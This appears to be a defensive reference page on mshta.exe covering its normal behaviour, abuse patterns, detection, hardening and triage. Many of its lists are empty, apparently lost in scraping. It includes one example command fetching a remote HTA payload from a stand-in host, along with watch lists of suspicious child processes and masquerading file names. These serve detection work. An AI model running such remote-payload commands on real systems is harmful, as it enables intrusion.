mshta.exe

Overview

mshta.exe is the Windows executable responsible for running HTML Applications (HTA files).

HTA files are HTML documents with elevated privileges that can execute VBScript or JScript with significantly fewer restrictions than scripts running inside a web browser.

Although mshta.exe is a legitimate Windows component, it is one of the most consistently abused Windows utilities for script-based execution, payload staging, and remote content retrieval.

Expected Characteristics

Expected Locations

Expected Parents

Common examples include:

Typical Profile

Why This Matters

mshta.exe can execute code directly from:

This allows adversaries to execute malicious code without deploying a traditional executable.

Common attacker use cases include:

Investigation Objective

Determine:

Normal Behaviour

Characteristics

Path

Signature

Parent Processes

Common examples include:

Command Line

Legitimate executions usually reference:

Children

Typical Activity

Expected Behavioural Characteristics

In most environments:

Abuse Patterns

Remote Content Execution

Investigate any instance of:

mshta.exe https://example.com/payload.hta

or similar internet-based content retrieval.

mshta.exe has very few legitimate reasons to execute remote content.

Suspicious Child Processes

Investigate mshta.exe launching:

powershell.exe

cmd.exe

wscript.exe

cscript.exe

rundll32.exe

regsvr32.exe

msiexec.exe

Many attack chains use mshta.exe purely as a staging mechanism.

Untrusted File Paths

Treat HTA files from the following locations as suspicious:

Particularly when correlated with phishing or browser activity.

Encoded or Obfuscated Arguments

Investigate:

These are common indicators of staged execution.

Path or Signature Mismatch

Investigate immediately if:

Examples include:

mshta32.exe

mshta_.exe

Lack of User Interaction

Review execution carefully when:

A lack of obvious user activity often indicates malicious automation.

Detection Opportunities

Command-Line Analytics

Monitor for:

The command line often provides the strongest evidence during mshta investigations.

Parent Process Analysis

Investigate execution originating from:

These relationships frequently appear in phishing campaigns.

Child Process Monitoring

Alert when mshta.exe launches:

Legitimate HTA applications rarely require this behaviour.

Network Activity Monitoring

Review:

Network communication from mshta.exe often deserves immediate attention.

Hunting Opportunities

Useful hunting pivots include:

Correlated Activity

Review:

High-confidence detections typically emerge from combining multiple indicators.

False Positives

Although uncommon, legitimate mshta.exe usage still exists.

Common Legitimate Scenarios

Examples include:

Validation Questions

Check:

A trusted HTA generally has a predictable origin and execution pattern.

Estate Context

Legitimate HTA applications are typically:

Hardening Recommendations

Reduce HTA Usage

Identify and retire:

The fewer legitimate HTA dependencies that exist, the easier malicious activity becomes to detect.

Application Control

Consider:

Restrict execution of unauthorised HTA files wherever possible.

Restrict User-Writable Execution

Review execution controls for:

Many mshta abuse techniques rely on these locations.

Monitor LOLBin Usage

Maintain visibility into:

Attackers frequently chain these utilities together.

Network Monitoring

Alert on:

mshta.exe network activity often provides a valuable early-warning signal.

Defensive Validation

Test:

Validation should focus on realistic attack chains rather than simple process execution.

Triage Checklist

Identity and Integrity

Lineage and Behaviour

File and Script Context

Scope and Correlation

Escalation Considerations

Escalate immediately if:

ATT&CK References

Windows Processes

Script Execution

MITRE ATT&CK